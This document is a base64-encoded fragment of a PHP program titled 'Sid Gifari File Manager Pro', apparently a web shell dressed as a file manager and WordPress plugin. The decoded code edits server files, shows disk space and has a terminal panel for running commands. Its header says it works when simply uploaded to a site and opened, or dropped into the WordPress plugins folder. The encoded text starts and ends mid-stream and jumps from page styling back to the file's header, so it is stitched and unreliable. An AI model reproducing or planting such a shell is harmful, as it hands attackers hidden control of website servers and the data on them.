CAgICAkZWRpdENvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKEBmaWxlX2dldF9jb250ZW50cygkZWRpdF90YXJnZXQpKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJGVkaXRNb2RlID0gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAvLyBUZXJtaW5hbA0KICAgICAgICAkdGVybWluYWxfb3V0cHV0ID0gJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA/PyAnJzsNCiAgICAgICAgJHRlcm1pbmFsX2N3ZCA9ICRfU0VTU0lPTlsndGVybWluYWxfY3dkJ10gPz8gJGN1cnJlbnRfZGlyOw0KICAgICAgICB1bnNldCgkX1NFU1NJT05bJ3Rlcm1pbmFsX291dHB1dCddKTsNCiAgICAgICAgDQogICAgICAgIC8vIEhpc3RvcnkNCiAgICAgICAgJHRlcm1pbmFsX2hpc3RvcnkgPSAkX1NFU1NJT05bJ3Rlcm1pbmFsX2hpc3RvcnknXSA/PyBbXTsNCiAgICAgICAgDQogICAgICAgIC8vIEVuY29kZWQgY3VycmVudCBwYXRoDQogICAgICAgICRlbmNvZGVkX2N1cnJlbnQgPSAnJzsNCiAgICAgICAgaWYgKCRjdXJyZW50X2RpciAhPT0gJHRoaXMtPnJvb3RfcGF0aCkgew0KICAgICAgICAgICAgJHJlbGF0aXZlID0gc3RyX3JlcGxhY2UoJHRoaXMtPnJvb3RfcGF0aCwgJycsICRjdXJyZW50X2Rpcik7DQogICAgICAgICAgICAkZW5jb2RlZF9jdXJyZW50ID0gJHRoaXMtPmVuY29kZVBhdGgoJHJlbGF0aXZlKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gR2V0IGRpc2sgc3BhY2UgaW5mbw0KICAgICAgICAkZnJlZV9zcGFjZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgJHRvdGFsX3NpemUgPSBhcnJheV9zdW0oYXJyYXlfY29sdW1uKCRmaWxlcywgJ3NpemUnKSk7DQogICAgICAgIA0KICAgICAgICAvLyBJbmNsdWRlIHRoZSBIVE1MIHRlbXBsYXRlDQogICAgICAgICR0aGlzLT5yZW5kZXJfaHRtbCgkY3VycmVudF9kaXIsICRmb2xkZXJzLCAkZmlsZXMsICRlZGl0TW9kZSwgJGVkaXRGaWxlLCAkZWRpdENvbnRlbnQsICR0ZXJtaW5hbF9vdXRwdXQsICR0ZXJtaW5hbF9jd2QsICRlbmNvZGVkX2N1cnJlbnQsICR0ZXJtaW5hbF9oaXN0b3J5LCAkdG90YWxfc2l6ZSwgJGZyZWVfc3BhY2UpOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBSZW5kZXIgSFRNTA0KICAgICAqLw0KICAgIHByaXZhdGUgZnVuY3Rpb24gcmVuZGVyX2h0bWwoJGN1cnJlbnRfZGlyLCAkZm9sZGVycywgJGZpbGVzLCAkZWRpdE1vZGUsICRlZGl0RmlsZSwgJGVkaXRDb250ZW50LCAkdGVybWluYWxfb3V0cHV0LCAkdGVybWluYWxfY3dkLCAkZW5jb2RlZF9jdXJyZW50LCAkdGVybWluYWxfaGlzdG9yeSwgJHRvdGFsX3NpemUsICRmcmVlX3NwYWNlKSB7DQogICAgICAgIC8vIEJ1aWxkIHRoZSBVUkwgcHJlZml4IGZvciBzdGFuZGFsb25lIG9yIFdvcmRQcmVzcw0KICAgICAgICBpZiAoJHRoaXMtPmlzX3dvcmRwcmVzcykgew0KICAgICAgICAgICAgJGJhc2VfdXJsID0gJ2FkbWluLnBocD9wYWdlPVNpZEZpbGUtTWFuYWdlci1wYXRoJzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRiYXNlX3VybCA9ICc/JzsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgPz4NCiAgICAgICAgPCFET0NUWVBFIGh0bWw+DQogICAgICAgIDxodG1sIGxhbmc9ImVuIj4NCiAgICAgICAgPGhlYWQ+DQogICAgICAgICAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgICAgICAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgICAgICAgICA8dGl0bGU+U2lkIEdpZmFyaSBGaWxlIE1hbmFnZXIgUHJvIHYxMC4wLjM8L3RpdGxlPg0KICAgICAgICAgICAgPHN0eWxlPg0KICAgICAgICAgICAgICAgICogeyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IH0NCiAgICAgICAgICAgICAgICBib2R5IHsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAtYXBwbGUtc3lzdGVtLCBCbGlua01hY1N5c3RlbUZvbnQsICdTZWdvZSBVSScsIFJvYm90bywgT3h5Z2VuLVNhbnMsIFVidW50dSwgQ2FudGFyZWxsLCBzYW5zLXNlcmlmOyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWEyZTsgDQogICAgICAgICAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoOyANCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNjOWQxZDk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5jb250YWluZXIgeyANCiAgICAgICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAxNDAwcHg7IA0KICAgICAgICAgICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5oZWFkZXIgeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzBmMzQ2MCAwJSwgIzE2MjEzZSAxMDAlKTsgDQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDIwcHggMzBweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZTk0NTYwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuaGVhZGVyIGgxIHsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMjRweDsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjZTk0NTYwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuaGVhZGVyLWluZm8gew0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjOGI5NDllOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAucGF0aC1uYXYgeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBmMzQ2MDsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMjVweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCAycHggNHB4IHJnYmEoMCwwLDAsMC4yKTsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOw0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5wYXRoLW5hdiBhIHsgDQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjZTk0NTYwOyANCiAgICAgICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOyANCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogM3B4IDhweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5wYXRoLW5hdiBhOmhvdmVyIHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlOTQ1NjA7IA0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLnBhdGgtbmF2IC5jdXJyZW50LXBhdGgtZGlzcGxheSB7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjNThhNmZmOw0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDExcHg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5zZWN0aW9uIHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxNjIxM2U7IA0KICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4OyANCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMjVweDsgDQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7IA0KICAgICAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDJweCA0cHggcmdiYSgwLDAsMCwwLjIpOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMGYzNDYwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuc2VjdGlvbi10aXRsZSB7IA0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDE4cHg7IA0KICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNjAwOyANCiAgICAgICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgZ2FwOiA4cHg7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjZTk0NTYwOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzBmMzQ2MDsNCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDEwcHg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC50ZXJtaW5hbC1ib3ggeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBkMTExNzsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDhweDsNCiAgICAgICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzMwMzYzZDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLnRlcm1pbmFsLWhlYWRlciB7DQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxNjFiMjI7DQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMTVweDsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAgZ2FwOiA2cHg7DQogICAgICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMzAzNjNkOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90IHsNCiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEycHg7DQogICAgICAgICAgICAgICAgICAgIGhlaWdodDogMTJweDsNCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90LnJlZCB7IGJhY2tncm91bmQ6ICNmZjVmNTY7IH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90LnllbGxvdyB7IGJhY2tncm91bmQ6ICNmZmJkMmU7IH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90LmdyZWVuIHsgYmFja2dyb3VuZDogIzI3YzkzZjsgfQ0KICAgICAgICAgICAgICAgIC50ZXJtaW5hbC10aXRsZSB7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjOGI5NDllOw0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtb3V0cHV0IHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZDExMTc7IA0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzU4YTZmZjsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7IA0KICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOyANCiAgICAgICAgICAgICAgICAgICAgbWF4LWhlaWdodDogMzAwcHg7IA0KICAgICAgICAgICAgICAgICAgICBvdmVyZmxvdy15OiBhdXRvOyANCiAgICAgICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IHByZS13cmFwOyANCiAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNTsNCiAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSB7DQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7DQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZDExMTc7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAjMzAzNjNkOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBmb3JtIHsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAgZ2FwOiAxMHB4Ow0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtcHJvbXB0IHsNCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICMzZmI5NTA7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgICAgICAgICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBpbnB1dCB7DQogICAgICAgICAgICAgICAgICAgIGZsZXg6IDE7DQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50Ow0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYzlkMWQ5Ow0KICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiA1cHg7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLnRlcm1pbmFsLWlucHV0LWFyZWEgaW5wdXQ6Zm9jdXMgew0KICAgICAgICAgICAgICAgICAgICBvdXRsaW5lOiBub25lOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBidXR0b24gew0KICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjM4NjM2Ow0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogOHB4IDE2cHg7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNTAwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBidXR0b246aG92ZXIgew0KICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMmVhMDQzOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuZm9ybS1pbmxpbmUgeyANCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsgDQogICAgICAgICAgICAgICAgICAgIGdhcDogMTBweDsgDQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7IA0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOyANCiAgICAgICAgICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0sIGlucHV0W3R5cGU9ImZpbGUiXSB7IA0KICAgICAgICAgICAgICAgICAgICBmbGV4OiAxOyANCiAgICAgICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyMDBweDsNCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMTBweCAxNXB4Ow0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMzAzNjNkOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsNCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBkMTExNzsNCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNjOWQxZDk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlucHV0OmZvY3VzIHsNCiAgICAgICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNThhNmZmOw0KICAgICAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDAgMCAycHggcmdiYSg4OCwgMTY2LCAyNTUsIDAuMTUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpbnB1dDo6cGxhY2Vob2xkZXIgew0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzQ4NGY1ODsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnV0dG9uLCAuYnRuIHsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMjBweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsgDQogICAgICAgICAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsNCiAgICAgICAgICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMnM7DQogICAgICAgICAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7DQogICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4Ow0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgICAgICAgICBnYXA6IDVweDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLmJ0bi1wcmltYXJ5IHsgYmFja2dyb3VuZDogIzIzODYzNjsgY29sb3I6IHdoaXRlOyB9DQogICAgICAgICAgICAgICAgLmJ0bi1wcmltYXJ5OmhvdmVyIHsgYmFja2dyb3VuZDogIzJlYTA0MzsgfQ0KICAgICAgICAgICAgICAgIC5idG4tc3VjY2VzcyB7IGJhY2tncm91bmQ6ICMyMzg2MzY7IGNvbG9yOiB3aGl0ZTsgfQ0KICAgICAgICAgICAgICAgIC5idG4tc3VjY2Vzczpob3ZlciB7IGJhY2tncm91bmQ6ICMyZWEwNDM7IH0NCiAgICAgICAgICAgICAgICAuYnRuLWRhbmdlciB7IGJhY2tncm91bmQ6ICNkYTM2MzM7IGNvbG9yOiB3aGl0ZTsgfQ0KICAgICAgICAgICAgICAgIC5idG4tZGFuZ2VyOmhvdmVyIHsgYmFja2dyb3VuZDogI2Y4NTE0OTsgfQ0KICAgICAgICAgICAgICAgIC5idG4td2FybmluZyB7IGJhY2tncm91bmQ6ICNkMjk5MWQ7IGNvbG9yOiB3aGl0ZTsgfQ0KICAgICAgICAgICAgICAgIC5idG4td2FybmluZzpob3ZlciB7IGJhY2tncm91bmQ6ICNlM2IzNDE7IH0NCiAgICAgICAgICAgICAgICAuYnRuLWluZm8geyBiYWNrZ3JvdW5kOiAjMWY2ZmViOyBjb2xvcjogd2hpdGU7IH0NCiAgICAgICAgICAgICAgICAuYnRuLWluZm86aG92ZXIgeyBiYWNrZ3JvdW5kOiAjMzg4YmZkOyB9DQogICAgICAgICAgICAgICAgLmJ0bi1zbSB7IHBhZGRpbmc6IDVweCAxMHB4OyBmb250LXNpemU6IDEycHg7IH0NCiAgICAgICAgICAgICAgICAuYnRuLXJlZnJlc2ggeyBiYWNrZ3JvdW5kOiAjNmU3NjgxOyBjb2xvcjogd2hpdGU7IH0NCiAgICAgICAgICAgICAgICAuYnRuLXJlZnJlc2g6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjOGI5NDllOyB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgdGFibGUgeyANCiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7IA0KICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sbGFwc2U6IHNlcGFyYXRlOyANCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXNwYWNpbmc6IDA7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMwZjM0NjA7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsNCiAgICAgICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdGhlYWQgeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBmMzQ2MDsgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHRoIHsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEycHggMTVweDsgDQogICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7IA0KICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNjAwOyANCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNlOTQ1NjA7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTFweDsNCiAgICAgICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IDAuNXB4Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB0Ym9keSB0ciB7IA0KICAgICAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzBmMzQ2MDsgDQogICAgICAgICAgICAgICAgICAgIHRyYW5zaXRpb246IGJhY2tncm91bmQgMC4yczsgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHRib2R5IHRyOmhvdmVyIHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEo77u/PD9waHANCi8qKg0KICogRmlsZSBNYW5hZ2VyIFBybyBWMyAtIFN0YW5kYWxvbmUgJiBXb3JkUHJlc3MgUGx1Z2luDQogKiBEZXNjcmlwdGlvbjogU2lkIEdpZmFyaSBBZHZhbmNlZCBmaWxlIG1hbmFnZXINCiAqIFZlcnNpb246IDEwLjAuMw0KICogQXV0aG9yOiBTaWQgR2lmYXJpDQogKiANCiAqIFVzYWdlIGFzIHN0YW5kYWxvbmU6IEp1c3QgdXBsb2FkIGFuZCBhY2Nlc3MgdGhpcyBmaWxlIGRpcmVjdGx5DQogKiBVc2FnZSBhcyBXUCBwbHVnaW46IFBsYWNlIGluIHdwLWNvbnRlbnQvcGx1Z2lucy8gZm9sZGVyDQogKi8NCg0KLy8gRGV0ZWN0IGlmIHJ1bm5pbmcgd2l0aGluIFdvcmRQcmVzcw0KJGlzX3dvcmRwcmVzcyA9IGRlZmluZWQoJ0FCU1BBVEgnKTsNCg0KaWYgKCRpc193b3JkcHJlc3MpIHsNCiAgICAvLyBXb3JkUHJlc3MgbW9kZSAtIHByZXZlbnQgZGlyZWN0IGFjY2Vzcw0KICAgIGlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSB7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIA0KICAgIC8vIFdvcmRQcmVzcyBwbHVnaW4gZnVuY3Rpb25hbGl0eQ0KICAgIGFkZF9hY3Rpb24oJ3BsdWdpbnNfbG9hZGVkJywgZnVuY3Rpb24oKSB7DQogICAgICAgIFNpZEdpZmFyaUZpbGVNYW5hZ2VyOjpnZXRfaW5zdGFuY2UoKTsNCiAgICB9KTsNCn0gZWxzZSB7DQogICAgLy8gU3RhbmRhbG9uZSBtb2RlIC0gc3RhcnQgc2Vzc2lvbiBhbmQgcnVuIGRpcmVjdGx5DQogICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX05PTkUpIHsNCiAgICAgICAgc2Vzc2lvbl9zdGFydCgpOw0KICAgIH0NCiAgICANCiAgICAvLyBTZXQgcm9vdCBwYXRoIGZvciBzdGFuZGFsb25lIG1vZGUNCiAgICAkcm9vdF9wYXRoID0gZ2V0Y3dkKCk7DQogICAgJG1hbmFnZXIgPSBuZXcgU2lkR2lmYXJpRmlsZU1hbmFnZXIoKTsNCiAgICAkbWFuYWdlci0+aW5pdF9zdGFuZGFsb25lKCRyb290X3BhdGgpOw0KICAgICRtYW5hZ2VyLT5ydW5fc3RhbmRhbG9uZSgpOw0KfQ0KDQpjbGFzcyBTaWRHaWZhcmlGaWxlTWFuYWdlciB7DQogICAgDQogICAgcHJpdmF0ZSBzdGF0aWMgJGluc3RhbmNlID0gbnVsbDsNCiAgICBwcml2YXRlICRyb290X3BhdGg7DQogICAgcHJpdmF0ZSAkYmFja3VwX2ZpbGVzID0gW107DQogICAgcHJpdmF0ZSAkaXNfd29yZHByZXNzID0gZmFsc2U7DQogICAgDQogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfaW5zdGFuY2UoKSB7DQogICAgICAgIGlmIChudWxsID09PSBzZWxmOjokaW5zdGFuY2UpIHsNCiAgICAgICAgICAgIHNlbGY6OiRpbnN0YW5jZSA9IG5ldyBzZWxmKCk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHNlbGY6OiRpbnN0YW5jZTsNCiAgICB9DQogICAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgew0KICAgICAgICAkdGhpcy0+aXNfd29yZHByZXNzID0gZGVmaW5lZCgnQUJTUEFUSCcpOw0KICAgICAgICBpZiAoJHRoaXMtPmlzX3dvcmRwcmVzcykgew0KICAgICAgICAgICAgJHRoaXMtPmluaXRfd29yZHByZXNzKCk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSW5pdGlhbGl6ZSBpbiBXb3JkUHJlc3MgbW9kZQ0KICAgICAqLw0KICAgIHByaXZhdGUgZnVuY3Rpb24gaW5pdF93b3JkcHJlc3MoKSB7DQogICAgICAgICR0aGlzLT5yb290X3BhdGggPSBBQlNQQVRIOw0KICAgICAgICAkY3